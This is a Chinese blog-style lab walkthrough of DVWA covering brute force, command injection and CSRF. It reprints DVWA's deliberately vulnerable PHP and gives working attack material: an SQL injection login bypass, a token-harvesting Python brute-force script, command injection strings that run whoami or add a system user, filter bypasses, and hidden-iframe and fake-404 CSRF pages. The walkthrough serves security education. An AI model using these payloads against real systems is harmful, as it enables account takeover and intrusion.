DVWA全系列--暴力破解、命令注入、跨站请求伪造

一、Brute Force暴力破解-LOW

做之前看代码(view source)


<?php

if( isset( $_GET[ 'Login' ] ) ) {//点击login
    // Get username
    $user = $_GET[ 'username' ];//获取账号

    // Get password
    $pass = $_GET[ 'password' ];//获取密码
    $pass = md5( $pass );

    // Check the database在数据库中查找
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {   //这两个值都不为空
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

如果在username中输入admin' or '1'='1

对于$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

就会变成$query  = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';";

相当于把and改成了or 这样无论username or左边输入什么都是成功的,将一个语句分为两个部分

 二、Brute Force暴力破解-Medium


<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium相比low增加了mysqli_real_escape_string函数

该函数会对编码是NUL、\n、\r、\、'、"和control z转义

用burp爆破

期间解决了login无法被burp抓包的问题,

将密码作为变量

 

start attack 

password与其他不同,是正确密码

也可以用 payload type中的runtime file    select file,选择字典爆破

三、暴力破解-High

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

相对于medium,多了checktoken 

 checkToken函数:过滤一些较为低级的爆破

    注:之前就用账号和密码两个数值,用checkToken的话,你从服务器上,它会下发一个参数到你的终端,当你用账号密码去登录的时候,实际上是你已经先打开了它这个网站,它会先把这个checkToken下发给你,登录时必须带上它发给你的这个checkToken,如果不是(和它逻辑上的checkToken不匹配),它就不会继续下一步去处理你的账号密码

        在数据库前面再加一个checkToken服务器就可以有效过滤一些针对数据库的爆破攻击,这样可以降低你的数据库的使用内存和CPU的占用率

破解用到脚本,把token获取下来,加上账号密码爆破

先看一下token:

用BURPSUITE(简称:BURP)来暴力破解

1、打开burp,点击Burp的Proxy窗口下Intercept is on打开

2、Brute Force:做一次登录(随意输密码)

3、Burp的Proxy窗口下Intercept is on,可捕捉到账号,密码、login以及user_token上个级别是没有token

接下来需要编写脚本(python)

header中的参数 ’User-Agent'代表你用的是哪个浏览器,通过Burp的Proxy窗口下            Intercept is on可捕捉你用的浏览器是哪个,进行填写

header中的参数‘Cookie’必须根据Burp的Proxy窗口下Intercept is on可捕捉的进行填写和修改 

header={
         'User-Agent':'Mozilla/5.8 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Fire/75.0'
         'Cookie':'security=high; PHPSESSID=s00k1k6dbjrggj74g3tdso4bah'
}

参数url记录网页url

编写自定义函数get_token(url,headers)捕获token(input捕捉【3】)

def get_token(url,headers):
    r=request.get(url,headers=header)
    #print(r.status_code)
    html=r.content.decode()
    #print(len(html))
    soup=BeautifulSoup(html,"html.perser")
    user_token=soup.find_all('input')[3]["value"]
    return user_token

编写主函数,通过账号本和密码本以及捕捉到的token不断运行测试获取正确的账号,密码以及token

i=0
for admin in open("d:\\user.txt"):
    for line in open("d:\\password.txt"):
        u_token=get_token(url,header)
        username=admin.strip()
        password=line.strip()
        payload={'username':username,'password':password,'Login':'Login','user_token':u_token}
        #print(payload)
        i=i+1
        response=request.get(url,params=payload,headers=header)
        print(i,username,password,len(response.content.decode()))
        user_token=get_token(url,header)

运行脚本,通过字符长度的比较,获得正确的账号密码,去尝试登录

四、命令注入——是一个执行ping的界面

low——未对用户输入ip做任何过滤

Command Injection,即命令注入,是指攻击者可以能够控制操作系统上的一些命令。和RCE不同,命令注入执行的是一个命令,而RCE是执行代码。

Command Injection Source
vulnerabilities/exec/source/low.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
//stristr() 函数搜索字符串在另一字符串中的第一次出现。
//php_uname( 's' ) 获取系统类型
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

服务器只是判断操作系统的类型,没有对IP这个参数进行过滤,导致了命令注入。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

用逻辑运算符连接系统命令即可。
输入127.0.0.1 && ipconfig

 

输入127.0.0.1 && whoami 

 

 比如,我们执行 127.0.0.1 & net user xie /add ,尝试ping完后新建一个用户,我们就可以成功创建用户了

使用&查看系统用户

medium-做了基础过滤

Command Injection Source
vulnerabilities/exec/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
//array_keys() 函数返回包含数组中所有键名的一个新数组。
//str_replace() 函数替换字符串中的一些字符(区分大小写)。
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

代码过滤了 && 和;     但并未过滤&,|,||      还可以利用&进行连接,&&和&的区别,a&&b ,a成功执行后b才执行,a&b,不论a是否成功,b都会执行。

DOS在一行中执行多条命令需使用的符号:

&&:只有当前面的命令执行成功才执行后面的命令

&:无论怎样执行后面的命令

||:只有当前面的命令执行失败才执行后面的命令

|:将前面命令执行的输出作为后面命令执行的输入

linux中如果命令被;分隔,命令会连续执行下去,错误也会继续执行后面的命令

high-做了比较强的过滤

Command Injection Source
vulnerabilities/exec/source/high.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

 过滤的字符更多了,但是毕竟是黑名单,|是未被过滤。代码中过滤的是| ,后面有个空格,因此当输入”127.0.0.1  |net view”,一样可以攻击,“|”是管道符,意思是将前者处理后的结果作为参数传给后者。

也可以使用一个不会执行的命令和|来执行命令

impossible-从逻辑上改了,将IP切割成四个部分,且都为数字

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

加入了token,同时把IP的4个段放进数组去匹配,全数字才会被成功执行 

stripslashes(string) : 该函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit): 该函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string): 该检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

 五、跨站请求伪造(CSRF)

low

是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

GET方式得到三个参数,change、password_new、password_conf。如果password_new和password_conf相同,那么更新数据库,并没有任何防CSRF的措施。这里我们有多重攻击方式,比如直接构造链接、构造短链接和构造攻击页面。

构造链接:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

 既然参数是GET方式传递的,那么我们可以直接在URL链接中设置参数,如果用户用登陆过该网站的浏览器(服务器会验证cookie)打开这个链接,那么将直接把参数传递给服务器,因为服务器并没有防CSRF的措施,所以直接可以攻击成功,密码将被改为123456。到那时如果用户在没有登陆过这个网站的浏览器上打开这个链接,并不会更改密码,而是跳转到登录界面。因为服务器在接受访问时,首先还要验证用户的cookie,如果浏览器上并没有之前登录留下的cookie,那攻击也就无法奏效。这么看来CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。(当受害者点击了这个链接,他的密码就会被改成123456,(但是这这种攻击一看就能看出来是修改密码的,而且受害者点击了链接之后看到这个页面就会知道自己的密码被篡改了))

另外再提一点,CSRF是利用受害者的cookies向服务器伪造请求,所以如果之前用的是firefox浏览器登陆这个系统,而现在用chrome浏览器点击这个链接,攻击是不会触发的,因为chrome浏览器不能利用firefox浏览器的cookies,所以自动跳转到登陆界面。

短链接:

  上面的攻击链接太明显的,参数直接就在URL中,这样很容易就会被识破,为了隐藏URL,可以使用生成短链接的方式来实现。就是将原链接转换等一个比较短的URL链接,打开短链接和打开原链接等价的。

构造攻击页面:

真实CSRF攻击中,攻击者为了隐藏自己的攻击手段,可能构造一个假的页面,然后放在公网上,诱导受害者访问这个页面,如果受害者访问了这个页面,那么受害者就会在不知情的情况下完成了CSRF攻击。自己测试可以写一个本地页面,也可以利用burpsuit直接生成攻击页面代码。方法如下:

1、抓取更改密码的数据包,利用engagement tools生成CDRF PoC,访问点击提交之后就可以更改密码。

2、复制生成的html代码即为我们需要的攻击页面代码。

3、访问点击提交之后就可以更改密码。

 

或者

<img src="[http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#](http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#)" border="0" style="display:none;"/> 
<h1>404<h1> |
<h2>file not found.<h2> 

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了123456

Medium 

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

多了stripos,查找字符串在另一字符串中第一次出现的位置(不区分大小写),如果未发现则返回false

代码检查了保留变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)。针对这一过滤规则,我们只要想办法绕过,那么我们后面的代码和low级别的基本都一样了,很容易实现CSRF攻击。由于我是本地phpstudy搭建的DVWA,所以http包中Host字段就是本机---127.0.0.1,而Referer字段就是本地搭建的DVWA页面的地址,故也包含127.0.0.1。所以这个对于本地搭建的DVWA是无效的,但是在现实场景中一般是不包含的,所以我们可以通过更改页面文件名来绕过stripos函数。绕过方法:

假如服务器地址为192.168.66.66,即为SERVER_NAME,我们只需要把我们构造的恶意页面文件名改为192.168.66.66.html,HTTP_REFERER就会包含192.168.66.66.html,就可以绕过stripos了

 

high

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

high级别的源码中加入了Anti-csrf token机制,由checkToken函数来实现,用户每次访问更改密码页面时,服务器会返回一个随机的token,之后每次向服务器发起请求,服务器会优先验证token,如果token正确,那么才会处理请求。所以我们在发起请求之前需要获取服务器返回的user_token,利用user_token绕过验证。这里我们可以使用burpsuit的CSRF Token Tracker插件可以直接绕过user_token验证。使用步骤如下: 

1、安装CSRF Token Tracker插件

 2、进入插件之后添加Host和Name

3、抓包repeat就ok了

法二:

漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>

 

<iframe src="http://localhost/DVWA-master/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

  <form method="GET" id="transfer" action="http://localhost/DVWA-master/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。在本地环境下可以实现

 

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是[http://hack/dvwa/vulnerabilities/csrf],位于服务器localhost上,而我们的攻击页面位于黑客服务器hack上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器localhost中,才有可能完成攻击。所以单纯从CSRF未能突破High级别。

Impossible

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible级别的代码利用PDO技术防御SQL注入,使用验证user_Token和原始密码来防止CSRF,要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

CSRF防御

Set-Cookie:SameSite

禁止第三方网站带Cookies,可以在响应头Set-Cookie设置SameSite属性,表示Cookie为同源网站而非第三方网站。

验证码校验或CSRF Token

在请求地址中添加token验证或者验证码校验,验证码和CSRF Token都具有随机性。缺点就是可能会降低用户体验。

验证HTTP Referer字段

Referer字段表示http请求的来源地址,服务器对每一个请求验证Referer值,查看请求来源是否合法,可以在一定程度上防御CSRF攻击。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值